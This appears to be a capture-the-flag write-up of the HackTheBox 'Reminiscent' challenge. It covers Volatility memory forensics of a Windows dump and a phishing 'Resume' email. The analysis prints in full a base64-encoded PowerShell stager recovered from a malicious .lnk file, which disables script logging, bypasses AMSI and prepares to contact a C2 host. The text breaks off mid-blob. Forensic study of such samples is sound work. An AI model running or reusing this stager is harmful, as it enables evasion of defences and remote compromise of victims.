Reminiscent

Posted Aug 2, 2025 Updated Jul 24, 2026

By Muhammad Taha Khan

5 min read

Reminiscent

Scenario

Suspicious traffic was detected from a recruiter's virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.

Files

  
ls -la     
total 556152
drwxrwxr-x 2 kali kali      4096 Oct 24  2017 .
drwxrwxr-x 3 kali kali      4096 Aug  2 23:11 ..
-rw-rw-r-- 1 kali kali 569476988 Oct  4  2017 flounder-pc-memdump.elf
-rw-rw-r-- 1 kali kali       861 Oct  4  2017 imageinfo.txt
-rw-rw-r-- 1 kali kali      1599 Oct 24  2017 Resume.eml

file flounder-pc-memdump.elf 
flounder-pc-memdump.elf: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)

file Resume.eml             
Resume.eml: SMTP mail, ASCII text, with CRLF line terminators

  
cat imageinfo.txt     
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/infosec/dumps/mem_dumps/01/flounder-pc-memdump.elf)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800027fe0a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800027ffd00L
                KPCR for CPU 1 : 0xfffff880009eb000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2017-10-04 18:07:30 UTC+0000
     Image local date and time : 2017-10-04 11:07:30 -0700

cat Resume.eml   
Return-Path: <bloodworm@madlab.lcl>
Delivered-To: madlab.lcl-flounder@madlab.lcl
Received: (qmail 2609 invoked by uid 105); 3 Oct 2017 02:30:24 -0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary="=_a8ebc8b42c157d88c1096632aeae0559"
Date: Mon, 02 Oct 2017 22:30:24 -0400
From: Brian Loodworm <bloodworm@madlab.lcl>
To: flounder@madlab.lcl
Subject: Resume
Organization: HackTheBox
Message-ID: <add77ed2ac38c3ab639246956c25b2c2@madlab.lcl>
X-Sender: bloodworm@madlab.lcl
Received: from mail.madlab.lcl (HELO mail.madlab.lcl) (127.0.0.1)
 by mail.madlab.lcl (qpsmtpd/0.96) with ESMTPSA (ECDHE-RSA-AES256-GCM-SHA384 encrypted); Mon, 02 Oct 2017 22:30:24 -0400

--=_a8ebc8b42c157d88c1096632aeae0559
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII

Hi Frank, someone told me you would be great to review my resume..
Could you have a look?

resume.zip [1] 

Links:
------
[1] http://10.10.99.55:8080/resume.zip
--=_a8ebc8b42c157d88c1096632aeae0559
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<html><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
=3DUTF-8" /></head><body style=3D'font-size: 10pt; font-family: Verdana,Gen=
eva,sans-serif'>
<div class=3D"pre" style=3D"margin: 0; padding: 0; font-family: monospace">=
<br /> Hi Frank, someone told me you would be great to review my resume.. c=
uold you have a look?<br /> <br /><a href=3D"http://10.10.99.55:8080/resume=
=2Ezip">resume.zip</a></div>
</body></html>

--=_a8ebc8b42c157d88c1096632aeae0559--

ImageInfo

imageinfo.txt is the output of Volatility’s imageinfo plug-in. It tells us how to talk to this memory dump.

The questions that it answers:

What profile should I give Volatility so it can parse the dump correctly?

The suggested profile is Win7SP1x64 (first in the list).

Where are the key control structures Volatility needs to start its analysis?

Directory-table base (DTB / CR3) = 0x187000
Kernel Debugger block (KDBG) = 0xf800027fe0a0
Kernel Processor Control Region for CPU 0 = 0xfffff800027ffd00, etc.

Everything else is supporting detail: 64-bit Windows 7 SP1, 2 CPUs, captured on 2017-10-04 at 18:07 UTC, no PAE, taken from a VirtualBox VM.

Understanding what is DTB, KDBG, KPCR

They are physical addresses inside the memory dump that Volatility uses as “entry points” to reconstruct the operating-system view that existed when the snapshot was taken.

Directory-table base (DTB / CR3) 0x187000
- Hardware register value that the CPU used during the dump.
- It is the physical address of the top-level page table for the kernel’s address space.
- Volatility starts here to translate every virtual address it later encounters.
Kernel Debugger block (KDBG) 0xf800027fe0a0
- A Windows kernel data structure (_KDDEBUGGER_DATA64) that contains pointers to many other lists (process list, loaded module list, etc.).
- Volatility follows the pointer at this physical address to discover where those lists live in virtual memory.
Kernel Processor Control Region (KPCR) for CPU 0 0xfffff800027ffd00
- Per-CPU structure the kernel uses to save CPU state.
- Volatility can use it as an additional sanity check or as an alternate starting point if the KDBG path is damaged.

What to do next

What we know so far is that the affected host had a malicious “Resume” file. We have the memory dump of that host. We need to dump the files at the time of snapshot and view it to get our flag.

Since we are using volatility3:

  
vol -h | grep File 
    linux.pagecache.Files
    mac.list_files.List_Files
    windows.dumpfiles.DumpFiles
    windows.filescan.FileScan
                        Allows extracting PE Files from a specific address in

Volatility

  
vol -f flounder-pc-memdump.elf windows.filescan.FileScan    
Volatility 3 Framework 2.26.2
Progress:  100.00               PDB scanning finished                                                                                              
Offset  Name

0x43f0f20       \Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx
0x43f1070       \Windows\System32\wscui.cpl
0x43f3f20       \
0x43f4180       \Users\user\AppData\Roaming\Microsoft\Windows\Network Shortcuts
0x43f4360       \Users\user\Links
0x43f4920       \srvsvc
0x43f4d40       \Users\user\AppData\Local\Microsoft\Windows\WER\ERC
0x43f5310       \Program Files (x86)\Mozilla Thunderbird\api-ms-win-crt-runtime-l1-1-0.dll
0x43f6070       \Windows\SysWOW64\ntshrui.dll
0x43f6500       \$Directory
0x43f6b30       \Windows\Fonts\trebucbd.ttf
0x43f6c80       \Windows\SysWOW64\linkinfo.dll
0x17f55410      \Windows\SysWOW64\lpk.dll
0x17f55700      \Windows\SysWOW64\iertutil.dll
0x17f55c30      \Windows\SoftwareDistribution\DataStore\Logs\tmp.edb
0x1d60b860      \Windows\SysWOW64\sspicli.dll
0x1d615820      \Windows\SysWOW64\SensApi.dll
0x1d615ca0      \Windows\SysWOW64\ExplorerFrame.dll
0x1d6466e0      \keysvc
0x1d7b9070      \protected_storage
0x1d7b9400      \Windows\System32\kerberos.dll
0x1d7b97e0      \Windows\SysWOW64\winnsi.dll
0x1d9b1370      \Windows\SysWOW64\comctl32.dll

---SNIP---

We have a huge list of files. We will just grep for resume.

  
vol -f flounder-pc-memdump.elf windows.filescan.FileScan | grep -i Resume
0x1e1f6200 100.0\Users\user\Desktop\resume.pdf.lnk
0x1e8feb70      \Users\user\Desktop\resume.pdf.lnk

Let’s dump these files.

vol -f flounder-pc-memdump.elf -o ./dump windows.dumpfiles.DumpFiles

Time to inspect these files:

file.0xfa8001cfeb70.0xfa80017dcc60.SharedCacheMap.resume.pdf.lnk.vacb
file.0xfa8001cfeb70.0xfa80022ac740.DataSectionObject.resume.pdf.lnk.dat

Cat outputs a bunch of nonsense. Let’s try strings:

We see a huge blob of text:

  
strings file.0xfa8001cfeb70.0xfa80022ac740.DataSectionObject.resume.pdf.lnk.dat
/C:\
DKfp
Windows
DKfp*
System32
WINDOW~1
v1.0
KV}*
powershell.exe
K6}*
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
%SystemRoot%\system32\SHELL32.dll
1SPS
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAFAAIAAtAHMAdABhACAALQB3ACAAMQAgAC0AZQBuAGMAIAAgAEoAQQBCAEgAQQBIAEkAQQBiAHcAQgBWAEEARgBBAEEAVQBBAEIAUABBAEUAdwBBAGEAUQBCAEQAQQBGAGsAQQBVAHcAQgBGAEEASABRAEEAZABBAEIASgBBAEUANABBAFIAdwBCAHoAQQBDAEEAQQBQAFEAQQBnAEEARgBzAEEAYwBnAEIARgBBAEUAWQBBAFgAUQBBAHUAQQBFAEUAQQBVAHcAQgB6AEEARwBVAEEAVABRAEIAQwBBAEUAdwBBAFcAUQBBAHUAQQBFAGMAQQBSAFEAQgAwAEEARgBRAEEAZQBRAEIAdwBBAEUAVQBBAEsAQQBBAG4AQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFQAUQBCAGgAQQBHADQAQQBZAFEAQgBuAEEARwBVAEEAYgBRAEIAbABBAEcANABBAGQAQQBBAHUAQQBFAEUAQQBkAFEAQgAwAEEARwA4AEEAYgBRAEIAaABBAEgAUQBBAGEAUQBCAHYAQQBHADQAQQBMAGcAQgBWAEEASABRAEEAYQBRAEIAcwBBAEgATQBBAEoAdwBBAHAAQQBDADQAQQBJAGcAQgBIAEEARQBVAEEAZABBAEIARwBBAEUAawBBAFIAUQBCAGcAQQBHAHcAQQBaAEEAQQBpAEEAQwBnAEEASgB3AEIAagBBAEcARQBBAFkAdwBCAG8AQQBHAFUAQQBaAEEAQgBIAEEASABJAEEAYgB3AEIAMQBBAEgAQQBBAFUAQQBCAHYAQQBHAHcAQQBhAFEAQgBqAEEASABrAEEAVQB3AEIAbABBAEgAUQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgB6AEEAQwBjAEEATABBAEEAZwBBAEMAYwBBAFQAZwBBAG4AQQBDAHMAQQBKAHcAQgB2AEEARwA0AEEAVQBBAEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBMAEEAQgBUAEEASABRAEEAWQBRAEIAMABBAEcAawBBAFkAdwBBAG4AQQBDAGsAQQBMAGcAQgBIAEEARQBVAEEAVgBBAEIAVwBBAEcARQBBAGIAQQBCAFYAQQBHAFUAQQBLAEEAQQBrAEEARwA0AEEAZABRAEIAcwBBAEUAdwBBAEsAUQBBADcAQQBDAFEAQQBSAHcAQgBTAEEARwA4AEEAZABRAEIAUQBBAEYAQQBBAFQAdwBCAHMAQQBFAGsAQQBRAHcAQgA1AEEARgBNAEEAWgBRAEIAVQBBAEYAUQBBAGEAUQBCAE8AQQBHAGMAQQBVAHcAQgBiAEEAQwBjAEEAVQB3AEIAagBBAEgASQBBAGEAUQBCAHcAQQBIAFEAQQBRAGcAQQBuAEEAQwBzAEEASgB3AEIAcwBBAEcAOABBAFkAdwBCAHIAQQBFAHcAQQBiAHcAQgBuAEEARwBjAEEAYQBRAEIAdQBBAEcAYwBBAEoAdwBCAGQAQQBGAHMAQQBKAHcAQgBGAEEARwA0AEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAFQAQQBHAE0AQQBjAGcAQgBwAEEASABBAEEAZABBAEIAQwBBAEMAYwBBAEsAdwBBAG4AQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAVABBAEIAdgBBAEcAYwBBAFoAdwBCAHAAQQBHADQAQQBaAHcAQQBuAEEARgAwAEEASQBBAEEAOQBBAEMAQQBBAE0AQQBBADcAQQBDAFEAQQBSAHcAQgBTAEEARwA4AEEAZABRAEIAUQBBAEYAQQBBAFQAdwBCAE0AQQBFAGsAQQBRAHcAQgBaAEEARgBNAEEAUgBRAEIAMABBAEYAUQBBAGEAUQBCAHUAQQBHAGMAQQBVAHcAQgBiAEEAQwBjAEEAVQB3AEIAagBBAEgASQBBAGEAUQBCAHcAQQBIAFEAQQBRAGcAQQBuAEEAQwBzAEEASgB3AEIAcwBBAEcAOABBAFkAdwBCAHIAQQBFAHcAQQBiAHcAQgBuAEEARwBjAEEAYQBRAEIAdQBBAEcAYwBBAEoAdwBCAGQAQQBGAHMAQQBKAHcAQgBGAEEARwA0AEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAFQAQQBHAE0AQQBjAGcAQgBwAEEASABBAEEAZABBAEIAQwBBAEcAdwBBAGIAdwBCAGoAQQBHAHMAQQBTAFEAQgB1AEEASABZAEEAYgB3AEIAagBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBNAEEARwA4AEEAWgB3AEIAbgBBAEcAawBBAGIAZwBCAG4AQQBDAGMAQQBYAFEAQQBnAEEARAAwAEEASQBBAEEAdwBBAEQAcwBBAFcAdwBCAFMAQQBHAFUAQQBaAGcAQgBkAEEAQwA0AEEAUQBRAEIAegBBAEYATQBBAFoAUQBCAHQAQQBFAEkAQQBiAEEAQgA1AEEAQwA0AEEAUgB3AEIAbABBAEYAUQBBAFYAQQBCADUAQQBGAEEAQQBSAFEAQQBvAEEAQwBjAEEAVQB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBOAEEARwBFAEEAYgBnAEIAaABBAEcAYwBBAFoAUQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEAQwA0AEEAUQBRAEIAMQBBAEgAUQBBAGIAdwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUARQBBAGIAUQBCAHoAQQBHAGsAQQBWAFEAQgAwAEEARwBrAEEAYgBBAEIAegBBAEMAYwBBAEsAUQBCADgAQQBEADgAQQBlAHcAQQBrAEEARgA4AEEAZgBRAEIAOABBAEMAVQBBAGUAdwBBAGsAQQBGADgAQQBMAGcAQgBIAEEARQBVAEEAZABBAEIARwBBAEcAawBBAFoAUQBCAE0AQQBHAFEAQQBLAEEAQQBuAEEARwBFAEEAYgBRAEIAegBBAEcAawBBAFMAUQBCAHUAQQBHAGsAQQBkAEEAQgBHAEEARwBFAEEAYQBRAEIAcwBBAEcAVQBBAFoAQQBBAG4AQQBDAHcAQQBKAHcAQgBPAEEARwA4AEEAYgBnAEIAUQBBAEgAVQBBAFkAZwBCAHMAQQBHAGsAQQBZAHcAQQBzAEEARgBNAEEAZABBAEIAaABBAEgAUQBBAGEAUQBCAGoAQQBDAGMAQQBLAFEAQQB1AEEARgBNAEEAUgBRAEIAVQBBAEYAWQBBAFkAUQBCAE0AQQBIAFUAQQBSAFEAQQBvAEEAQwBRAEEAVABnAEIAMQBBAEcAdwBBAFQAQQBBAHMAQQBDAFEAQQBWAEEAQgB5AEEASABVAEEAWgBRAEEAcABBAEgAMABBAE8AdwBCAGIAQQBGAE0AQQBlAFEAQgB6AEEARgBRAEEAWgBRAEIAdABBAEMANABBAFQAZwBCAGwAQQBGAFEAQQBMAGcAQgBUAEEARQBVAEEAYwBnAEIAVwBBAEUAawBBAFkAdwBCAGwAQQBGAEEAQQBUAHcAQgBKAEEARwA0AEEAZABBAEIATgBBAEUARQBBAGIAZwBCAEIAQQBHAGMAQQBSAFEAQgBTAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBFAFUAQQBZAHcAQgAwAEEARABFAEEATQBBAEEAdwBBAEUATQBBAFQAdwBCAHUAQQBGAFEAQQBhAFEAQgB1AEEASABVAEEAUgBRAEEAOQBBAEQAQQBBAE8AdwBBAGsAQQBGAGMAQQBRAHcAQQA5AEEARQA0AEEAUgBRAEIAWABBAEMAMABBAFQAdwBCAEMAQQBHAG8AQQBSAFEAQgBqAEEARgBRAEEASQBBAEIAVABBAEgAawBBAGMAdwBCAFUAQQBFAFUAQQBUAFEAQQB1AEEARQA0AEEAUgBRAEIAMABBAEMANABBAFYAdwBCAGwAQQBFAEkAQQBRAHcAQgBzAEEARQBrAEEAUgBRAEIAdQBBAEgAUQBBAE8AdwBBAGsAQQBIAFUAQQBQAFEAQQBuAEEARQAwAEEAYgB3AEIANgBBAEcAawBBAGIAQQBCAHMAQQBHAEUAQQBMAHcAQQAxAEEAQwA0AEEATQBBAEEAZwBBAEMAZwBBAFYAdwBCAHAAQQBHADQAQQBaAEEAQgB2AEEASABjAEEAYwB3AEEAZwBBAEUANABBAFYAQQBBAGcAQQBEAFkAQQBMAGcAQQB4AEEARABzAEEASQBBAEIAWABBAEUAOABBAFYAdwBBADIAQQBEAFEAQQBPAHcAQQBnAEEARgBRAEEAYwBnAEIAcABBAEcAUQBBAFoAUQBCAHUAQQBIAFEAQQBMAHcAQQAzAEEAQwA0AEEATQBBAEEANwBBAEMAQQBBAGMAZwBCADIAQQBEAG8AQQBNAFEAQQB4AEEAQwA0AEEATQBBAEEAcABBAEMAQQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQQBnAEEARQBjAEEAWgBRAEIAagBBAEcAcwBBAGIAdwBBAG4AQQBEAHMAQQBKAEEAQgAzAEEARQBNAEEATABnAEIASQBBAEcAVQBBAFkAUQBCAEUAQQBHAFUAQQBjAGcAQgBUAEEAQwA0AEEAUQBRAEIAawBBAEcAUQBBAEsAQQBBAG4AQQBGAFUAQQBjAHcAQgBsAEEASABJAEEATABRAEIAQgBBAEcAYwBBAFoAUQBCAHUAQQBIAFEAQQBKAHcAQQBzAEEAQwBRAEEAZABRAEEAcABBAEQAcwBBAEoAQQBCAFgAQQBHAE0AQQBMAGcAQgBRAEEARgBJAEEAYgB3AEIAWQBBAEgAawBBAFAAUQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEARgBRAEEAWgBRAEIATgBBAEMANABBAFQAZwBCAEYAQQBGAFEAQQBMAGcAQgBYAEEARwBVAEEAWQBnAEIAUwBBAEcAVQBBAGMAUQBCADEAQQBFAFUAQQBjAHcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAG0AQQBHAEUAQQBWAFEAQgBNAEEASABRAEEAVgB3AEIAbABBAEUASQBBAFUAQQBCAFMAQQBFADgAQQBXAEEAQgBaAEEARABzAEEASgBBAEIAMwBBAEUATQBBAEwAZwBCAFEAQQBGAEkAQQBiAHcAQgBZAEEARgBrAEEATABnAEIARABBAEYASQBBAFIAUQBCAEUAQQBHAFUAQQBUAGcAQgAwAEEARQBrAEEAWQBRAEIATQBBAEYATQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARgBrAEEAVQB3AEIAVQBBAEcAVQBBAFQAUQBBAHUAQQBFADQAQQBSAFEAQgBVAEEAQwA0AEEAUQB3AEIAeQBBAEcAVQBBAFIAQQBCAEYAQQBHADQAQQBWAEEAQgBwAEEARwBFAEEAVABBAEIARABBAEcARQBBAFEAdwBCAG8AQQBHAFUAQQBYAFEAQQA2AEEARABvAEEAUgBBAEIAbABBAEUAWQBBAFkAUQBCADEAQQBFAHcAQQBWAEEAQgBPAEEARQBVAEEAZABBAEIAMwBBAEUAOABBAGMAZwBCAHIAQQBFAE0AQQBjAGcAQgBsAEEARwBRAEEAWgBRAEIAdQBBAEgAUQBBAGEAUQBCAEIAQQBHAHcAQQBVAHcAQQA3AEEAQwBRAEEAUwB3AEEAOQBBAEYAcwBBAFUAdwBCAFoAQQBGAE0AQQBkAEEAQgBGAEEARQAwAEEATABnAEIAVQBBAEcAVQBBAGUAQQBCADAAQQBDADQAQQBSAFEAQgBPAEEARQBNAEEAVAB3AEIARQBBAEUAawBBAGIAZwBCAG4AQQBGADAAQQBPAGcAQQA2AEEARQBFAEEAVQB3AEIARABBAEUAawBBAFMAUQBBAHUAQQBFAGMAQQBSAFEAQgAwAEEARQBJAEEAZQBRAEIAMABBAEUAVQBBAGMAdwBBAG8AQQBDAGMAQQBSAFEAQQB4AEEARwBjAEEAVABRAEIASABBAEcAUQBBAFoAZwBCAFUAQQBFAEEAQQBaAFEAQgB2AEEARQA0AEEAUABnAEIANABBAEQAawBBAGUAdwBCAGQAQQBEAEkAQQBSAGcAQQAzAEEAQwBzAEEAWQBnAEIAegBBAEUAOABBAGIAZwBBADAAQQBDADgAQQBVAHcAQgBwAEEARgBFAEEAYwBnAEIAMwBBAEMAYwBBAEsAUQBBADcAQQBDAFEAQQBVAGcAQQA5AEEASABzAEEASgBBAEIARQBBAEMAdwBBAEoAQQBCAEwAQQBEADAAQQBKAEEAQgBCAEEASABJAEEAWgB3AEIAVABBAEQAcwBBAEoAQQBCAFQAQQBEADAAQQBNAEEAQQB1AEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAE8AdwBBAHcAQQBDADQAQQBMAGcAQQB5AEEARABVAEEATgBRAEIAOABBAEMAVQBBAGUAdwBBAGsAQQBFAG8AQQBQAFEAQQBvAEEAQwBRAEEAUwBnAEEAcgBBAEMAUQBBAFUAdwBCAGIAQQBDAFEAQQBYAHcAQgBkAEEAQwBzAEEASgBBAEIATABBAEYAcwBBAEoAQQBCAGYAQQBDAFUAQQBKAEEAQgBMAEEAQwA0AEEAUQB3AEIAdgBBAEgAVQBBAGIAZwBCAFUAQQBGADAAQQBLAFEAQQBsAEEARABJAEEATgBRAEEAMgBBAEQAcwBBAEoAQQBCAFQAQQBGAHMAQQBKAEEAQgBmAEEARgAwAEEATABBAEEAawBBAEYATQBBAFcAdwBBAGsAQQBFAG8AQQBYAFEAQQA5AEEAQwBRAEEAVQB3AEIAYgBBAEMAUQBBAFMAZwBCAGQAQQBDAHcAQQBKAEEAQgBUAEEARgBzAEEASgBBAEIAZgBBAEYAMABBAGYAUQBBADcAQQBDAFEAQQBSAEEAQgA4AEEAQwBVAEEAZQB3AEEAawBBAEUAawBBAFAAUQBBAG8AQQBDAFEAQQBTAFEAQQByAEEARABFAEEASwBRAEEAbABBAEQASQBBAE4AUQBBADIAQQBEAHMAQQBKAEEAQgBJAEEARAAwAEEASwBBAEEAawBBAEUAZwBBAEsAdwBBAGsAQQBGAE0AQQBXAHcAQQBrAEEARQBrAEEAWABRAEEAcABBAEMAVQBBAE0AZwBBADEAQQBEAFkAQQBPAHcAQQBrAEEARgBNAEEAVwB3AEEAawBBAEUAawBBAFgAUQBBAHMAQQBDAFEAQQBVAHcAQgBiAEEAQwBRAEEAUwBBAEIAZABBAEQAMABBAEoAQQBCAFQAQQBGAHMAQQBKAEEAQgBJAEEARgAwAEEATABBAEEAawBBAEYATQBBAFcAdwBBAGsAQQBFAGsAQQBYAFEAQQA3AEEAQwBRAEEAWAB3AEEAdABBAEcASQBBAGUAQQBCAHYAQQBGAEkAQQBKAEEAQgBUAEEARgBzAEEASwBBAEEAawBBAEYATQBBAFcAdwBBAGsAQQBFAGsAQQBYAFEAQQByAEEAQwBRAEEAVQB3AEIAYgBBAEMAUQBBAFMAQQBCAGQAQQBDAGsAQQBKAFEAQQB5AEEARABVAEEATgBnAEIAZABBAEgAMABBAGYAUQBBADcAQQBDAFEAQQBkAHcAQgBqAEEAQwA0AEEAUwBBAEIARgBBAEUARQBBAFoAQQBCAEYAQQBIAEkAQQBjAHcAQQB1AEEARQBFAEEAUgBBAEIARQBBAEMAZwBBAEkAZwBCAEQAQQBHADgAQQBiAHcAQgByAEEARwBrAEEAWgBRAEEAaQBBAEMAdwBBAEkAZwBCAHoAQQBHAFUAQQBjAHcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEQAMABBAFQAUQBCAEQAQQBHAEUAQQBhAEEAQgAxAEEARgBFAEEAVgBnAEIAbQBBAEgAbwBBAE0AQQBCADUAQQBFADAAQQBOAGcAQgBXAEEARQBJAEEAWgBRAEEANABBAEcAWQBBAGUAZwBCAFcAQQBEAGsAQQBkAEEAQQA1AEEARwBvAEEAYgB3AEIAdABBAEcAOABBAFAAUQBBAGkAQQBDAGsAQQBPAHcAQQBrAEEASABNAEEAWgBRAEIAeQBBAEQAMABBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AQQBBAHUAQQBEAEUAQQBNAEEAQQB1AEEARABrAEEATwBRAEEAdQBBAEQAVQBBAE4AUQBBADYAQQBEAGcAQQBNAEEAQQBuAEEARABzAEEASgBBAEIAMABBAEQAMABBAEoAdwBBAHYAQQBHAHcAQQBiAHcAQgBuAEEARwBrAEEAYgBnAEEAdgBBAEgAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEATABnAEIAdwBBAEcAZwBBAGMAQQBBAG4AQQBEAHMAQQBKAEEAQgBtAEEARwB3AEEAWQBRAEIAbgBBAEQAMABBAEoAdwBCAEkAQQBGAFEAQQBRAGcAQgA3AEEAQwBRAEEAWAB3AEIAcQBBAEQAQQBBAFIAdwBCAGYAQQBIAGsAQQBNAEEAQgAxAEEARgBJAEEAWAB3AEIATgBBAEQATQBBAGIAUQBBAHcAQQBIAEkAQQBXAFEAQgBmAEEAQwBRAEEAZgBRAEEAbgBBAEQAcwBBAEoAQQBCAEUAQQBHAEUAQQBkAEEAQgBCAEEARAAwAEEASgBBAEIAWABBAEUATQBBAEwAZwBCAEUAQQBHADgAQQBWAHcAQgBPAEEARQB3AEEAYgB3AEIAaABBAEUAUQBBAFIAQQBCAEIAQQBGAFEAQQBRAFEAQQBvAEEAQwBRAEEAVQB3AEIAbABBAEYASQBBAEsAdwBBAGsAQQBIAFEAQQBLAFEAQQA3AEEAQwBRAEEAYQBRAEIAMgBBAEQAMABBAEoAQQBCAGsAQQBHAEUAQQBWAEEAQgBCAEEARgBzAEEATQBBAEEAdQBBAEMANABBAE0AdwBCAGQAQQBEAHMAQQBKAEEAQgBFAEEARQBFAEEAZABBAEIAaABBAEQAMABBAEoAQQBCAEUAQQBHAEUAQQBWAEEAQgBoAEEARgBzAEEATgBBAEEAdQBBAEMANABBAEoAQQBCAEUAQQBFAEUAQQBkAEEAQgBoAEEAQwA0AEEAVABBAEIAbABBAEcANABBAFIAdwBCAFUAQQBFAGcAQQBYAFEAQQA3AEEAQwAwAEEAUwBnAEIAUABBAEUAawBBAFQAZwBCAGIAQQBFAE0AQQBTAEEAQgBCAEEASABJAEEAVwB3AEIAZABBAEYAMABBAEsAQQBBAG0AQQBDAEEAQQBKAEEAQgBTAEEAQwBBAEEASgBBAEIAawBBAEcARQBBAGQAQQBCAEIAQQBDAEEAQQBLAEEAQQBrAEEARQBrAEEAVgBnAEEAcgBBAEMAUQBBAFMAdwBBAHAAQQBDAGsAQQBmAEEAQgBKAEEARQBVAEEAVwBBAEEAPQA=
,&fbM
,&fbM

Base64 decoding it doesn’t make sense until I figured out this is a Unicode-16-LE Encoding.

Yields:

  
powershell -noP -sta -w 1 -enc  JABHAHIAbwBVAFAAUABPAEwAaQBDAFkAUwBFAHQAdABJAE4ARwBzACAAPQAgAFsAcgBFAEYAXQAuAEEAUwBzAGUATQBCAEwAWQAuAEcARQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAEkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAVABWAGEAbABVAGUAKAAkAG4AdQBsAEwAKQA7ACQARwBSAG8AdQBQAFAATwBsAEkAQwB5AFMAZQBUAFQAaQBOAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwBSAG8AdQBQAFAATwBMAEkAQwBZAFMARQB0AFQAaQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUAZgBdAC4AQQBzAFMAZQBtAEIAbAB5AC4ARwBlAFQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAHUARQAoACQATgB1AGwATAAsACQAVAByAHUAZQApAH0AOwBbAFMAeQBzAFQAZQBtAC4ATgBlAFQALgBTAEUAcgBWAEkAYwBlAFAATwBJAG4AdABNAEEAbgBBAGcARQBSAF0AOgA6AEUAeABwAEUAYwB0ADEAMAAwAEMATwBuAFQAaQBuAHUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBCAGoARQBjAFQAIABTAHkAcwBUAEUATQAuAE4ARQB0AC4AVwBlAEIAQwBsAEkARQBuAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIAbwBYAHkAPQBbAFMAeQBzAFQAZQBNAC4ATgBFAFQALgBXAGUAYgBSAGUAcQB1AEUAcwB0AF0AOgA6AEQAZQBmAGEAVQBMAHQAVwBlAEIAUABSAE8AWABZADsAJAB3AEMALgBQAFIAbwBYAFkALgBDAFIARQBEAGUATgB0AEkAYQBMAFMA